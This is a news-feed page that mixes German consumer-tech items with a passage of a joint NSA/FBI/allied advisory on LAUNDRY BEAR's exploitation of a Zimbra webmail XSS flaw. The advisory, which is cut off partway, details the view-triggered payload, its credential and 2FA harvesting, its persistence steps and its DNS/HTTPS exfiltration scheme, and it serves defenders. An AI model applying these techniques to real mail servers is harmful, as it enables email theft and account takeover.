Die Smartwatch ist zudem dank der IP69K-Zertifizierung – der höchstmöglichen IP-Schutzklasse – vollständig tauchfähig. Die Galaxy Watch Ultra 2 kann unter anderem Tauchtiefe, Wassertemperatur und Zeit direkt am Handgelenk erfassen, während Sie sich unter der Wasseroberfläche befinden.


Thomas Deehan / Foundry



Die Uhr überwacht zudem, wie stark Sie beim Laufen schwitzen, und gibt Ihnen Empfehlungen, wann und wie viel Sie trinken sollten, um Ihre Laufziele zu erreichen. Selbstverständlich erfasst die Galaxy Watch Ultra 2 auch andere Gesundheitsdaten.



Die Galaxy Watch Ultra 2 wird von der Snapdragon Elite-Plattform von Qualcomm angetrieben und ist mit 2 GB Arbeitsspeicher sowie 64 GB Speicherplatz ausgestattet. Der Akku der Uhr hat eine Kapazität von 800 mAh und lässt sich in einer halben Stunde auf 40 Prozent schnell aufladen.



Das 1,52 Zoll große Super-AMOLED-Display ist etwas größer als das des Vorgängermodells und verfügt über eine Auflösung von 498 x 498 Pixeln sowie eine maximale Helligkeit von bis zu 5.000 Candela pro Quadratmeter. Das Display mag zwar etwas größer sein, doch die Galaxy Watch Ultra 2 ist dafür 12 Prozent dünner als ihr Vorgängermodell.


Thomas Deehan / Foundry



Preis und Verfügbarkeit



Die Galaxy Watch Ultra 2 ist in den Farben „Titanium Silver“ und „Titanium Grey“ erhältlich und hat einen empfohlenen Verkaufspreis von 749 Euro. Erhältlich ist sie bereits im Samsung-Onlineshop und auch bei Amazon.



Neben der Galaxy Watch Ultra 2 hat Samsung auch die neue Galaxy Watch 9 vorgestellt. Mehr dazu lesen Sie hier: Galaxy Watch 9 im Praxistest: Zwei Dinge, die mir gefallen, und eines, das ich nicht mag.




Russian Hackers Exploit New ‘Zero-Click’  Attack Against Western Organizations
Thu, 23 Jul 2026 18:44:45 +0200
International agencies issue joint alert over state-backed campaign exploiting a critical vulnerability in the Zimbra Collaboration Suite This article has been indexed from www.infosecurity-magazine.com Read the original article: Russian Hackers Exploit New ‘Zero-Click’ Attack Against Western Organizations
Read more →
The post Russian Hackers Exploit New ‘Zero-Click’  Attack Against Western Organizations appeared first on IT Security News.


Russian Hackers Exploit New ‘Zero-Click’  Attack Against Western Organizations
Thu, 23 Jul 2026 18:18:22 +0200
International agencies issue joint alert over state-backed campaign exploiting a critical vulnerability in the Zimbra Collaboration Suite


Zwei RTX 5090 für die HMX 6 und Zeitreise zur Höllenmaschine 4 mit vier GPUs
Thu, 23 Jul 2026 17:32:54 +0200





Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier Grafikprozessoren neue Maßstäbe beim Gaming setzte. Wenn ihr keine Ausgabe verpassen wollt, könnt ihr den Newsletter kostenlos abonnieren – aber vergesst nicht, die Anmeldung via E-Mail zu bestätigen. Viel Spaß beim Lesen!



Hier geht es direkt zum Gewinnspiel der HMX 6 im Gesamtwert von 40.000 Euro. 



HMX 6: 2x RTX 5090 von ZOTAC GAMING und Halo-Design



Jetzt können wir endlich verraten, welche Grafikkarten in der HMX 6 stecken: Als primäre Gaming-Grafikkarte der HMX 6 ist die RTX 5090 AMP Extreme INFINITY gedacht, während wir parallel dazu die RTX 5090 ARCTICSTORM AIO für verlustfreie Skalierung verwenden, um Bildqualität und -wiederholrate in praktisch jedem Videospiel zu verbessern. Natürlich könnt ihr die gebündelte Kraft der zwei 5090 auch im kreativen Einsatz nutzen, etwa beim 3D-Rendering oder KI-Berechnungen. Hier findet ihr alle Informationen zu den zwei ZOTAC-Grafikkarten. 


ZOTAC



Eigentlich wollten Kris und ich euch diese Woche schon den aktuellen Stand des Casecon im Halo-Design zeigen. Doch unserem Modder Stefan Ulrich fehlen noch diverse Materialien. Jetzt fahren wir wahrscheinlich nächste Woche, doch die Zeit drängt schon wieder, denn wir wollen ja auf die Gamescom mit der HMX 6.



Rückblick: Die Höllenmaschine 4 setzte technische und optische Maßstäbe



Neue Maßstäbe setzten wir 2012 auch bei der Vermarktung der Höllenmaschine 4 – zumindest für unsere Verhältnisse: vier aufwendig produzierte Teaser-Videos mit Engelchen und Teufelsdamen sowie Fritz als Padawan von Obi-Wan Michi. Das hat riesigen Spaß gemacht und uns als Team Hölle zusammengeschweißt – und war der Beginn einer wunderbaren Freundschaft. 


PC-WELT



Technisch auf der Höhe der Zeit waren wir mit den beiden Grafikkarten ASUS GTX690-4GD5, die jeweils zwei 915 MHz schnelle Nvidia Geforce GTX 690 beherbergten. Vier Grafikprozessoren gleichzeitig waren damals absoluter Wahnsinn und sorgten regelmäßig für offene Münder. Dazu gab es den Sechskerner Intel Core i7-3960X, 64 GB RAM im Vierkanalmodus, mit der OCZ RevoDrive die erste PCIe-SSD in einer Höllenmaschine und mit 10 Terabyte natürlich auch wieder verrückt viel HDD-Speicherplatz.



Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Sie haben ins Cooler Master Cosmos II ein Sichtfenster gefräst und per Airbrush lodernde Flammen auf die beiden Flügeltüren gezaubert. ARGB war damals noch kein Thema, aber mit dem Multidimmer von Richter waren immerhin individuelle Farbtöne und -wechsel per IR-Fernbedienung möglich. Hier geht es zum liebevoll restaurierten Artikel zur Höllenmaschine 4 aus 2012.



Maus mit Noctua-Lüfter und Steam Machine im Praxis-Test 



Diese Woche ist eine skurrile Mail in meinem Postfach gelandet: Pulsar und Noctua präsentieren stolz die Früchte ihrer Zusammenarbeit: die Feinmann F01 Noctua Edition, eine Gaming-Maus mit aktiver Belüftung der Handflächen. Ich bin gespannt, wer sich über kühlere Handflächen beim Zocken freut.


Noctua/Pulsar



Mein Kollege und Namensvetter Michael Crider hat sich die kostspielige (ab 1.039 Euro) Steam Machine gekauft und einem ausführlichen Praxistest unterzogen. Sein Fazit fällt allerdings ernüchternd aus: Ein günstiger Mini-PC mit selbst installiertem SteamOS bietet derzeit nahezu denselben Nutzen für deutlich weniger Geld.



Warum es ein Problem ist, dass in neuen Laptops alte CPUs zum Einsatz kommen, erklärt mein Kollege Mark Hachman.  



Vielen Dank fürs Lesen!



ommende Woche besuchen Kris und ich endlich unseren Modder Stefan, der uns dann hoffentlich schon das fast fertige Tisch-PC-Gehäuse für die Build-Week präsentiert – immer optimistisch bleiben, denn langsam drängt die Zeit. Außerdem reisen wir zurück ins Jahr 2013 zur legendären Höllenmaschine 5 mit den vielen Totenköpfen. Wenn ihr nichts verpassen wollt, abonniert den kostenlosen HMX-6-Newsletter – und denkt daran, eure Anmeldung per E-Mail zu bestätigen. Ich freue mich schon auf nächste Woche – bis dann! Euer Michi.




The new Halo remake is a reminder of what Xbox used to be
Thu, 23 Jul 2026 17:04:39 +0200
It's impossible to talk about a new Xbox game without also talking about the state of Xbox. Microsoft's gaming division is in freefall: Recent headlines are dominated by extensive layoffs, decimated studios, and confusing strategies, most of which stem from years of bad decisions and expensive acquisitions. But it wasn't always that way. Through its […]


Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Thu, 23 Jul 2026 16:59:29 +0200
Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].
LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.
Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.
This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  
As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.
For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.
Background
Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  
The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  
Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.
Targeting details
LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),  
the federal and local government,
education,
energy,
law enforcement,  
media,  
non-governmental organizations, and
technology.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.
Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.
Reconnaissance
LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  
After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  
Resource development 
The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.
Flowerbed framework
Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.
The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.
Initial access
To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.





  
      




      Figure 1: Example of malicious email
  





  
      




      Figure 2: Headers from an example malicious email
  
According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  
Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.
Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing. 






  
      




      Figure 3: Malicious payload of example email
  
Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].
Persistence and credential access
To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.
The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.
During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.





  
      




      Figure 4: First illegitimate login HTML element
  





  
      




      Figure 5: Second illegitimate login HTML element
  
LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.
ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.
Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.
Collection
As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.


Table 1: Additional SOAP commands used





SOAP Command 






Namespace 






Stage 










GetInfoRequest 






zimbraAccount 






gather_environment 








GetDeviceStatusRequest 






zimbraSync 






gather_device_status 








GetOAuthConsumersRequest 






zimbraAccount 






gather_oauth_consumers 








SearchGalRequest 






zimbraAccount 






gather_gal 






The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.
During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.


Table 2: ZCS webmail client types





Indicator 






Client Type 






Associated Value 










?client=advanced 






Advanced 






c 








/h/ 






Standard 






h 








/modern/ 






Modern 






m 






As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  
According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.
The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.
Exfiltration
At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.
Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  
DNS exfiltration
DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.





  
      




      Figure 6: Structure for information exfiltrated by DNS
  
When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  


Table 3: DNS exfiltration





Type of Information 






Exfiltration Stage 






Data Type 










Victim’s Email Address 






gather_email 






e 








Client Type 






gather_environment 






c 








Zimbra Version 






gather_environment  






v 








URL at Time of Exploitation 






gather_environment 






url 








2FA Scratch Codes 






gather_2fa_codes 






2fa 








Newly Created Application Password 






gather_app_password 






pa 








Harvested Autocomplete Password 






gather_autocomplete_password 






pw 






HTTPS exfiltration
Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  


Table 4: HTTPS exfiltration types





Content Type 






URL Path 










application/json 






/v/p 








application/octet-stream 






/v/d 











  
      




      Figure 7: Structure for information exfiltrated by HTTPS
  
Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  
Table 5 provides a summary of the JSON-based exfiltration.


Table 5: HTTPS JSON exfiltration  





Type of Information 






Exfiltration Stage 






JSON Key(s) 










Victim’s Email Address 






gather_email 






email 








Client Type, Version, and Current URL 






gather_environment 






client, version, full_url 








Newly Created Application Password 






gather_app_password 






app_password 








Harvested Autocomplete Password 






gather_autocomplete_password 






autocomplete_password 






The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.




 Table 6: HTTPS binary exfiltration





Type of Information 






Exfiltration Stage 






X-Filename Header 










SOAP request for GetInfoRequest 






gather_environment 






zimbra_batch_analytics.json 








SOAP request for GetScratchCodesRequest 






gather_2fa_codes 






zimbra_batch_analytics.json 








SOAP request for GetDeviceStatusRequest 






gather_device_status 






zimbra_batch_analytics.json 








SOAP request for GetOAuthConsumersRequest 






gather_oauth_consumers 






zimbra_batch_analytics.json 








Victim Organization’s Global Address List 






gather_gal 






telemetry_{1-20}.json 








Last 90 Days of Victim’s Emails 






sendArchives 






telemetryData_{0-89}.json 








The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.
At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  
Catcher
Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.
Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.
The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  
However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

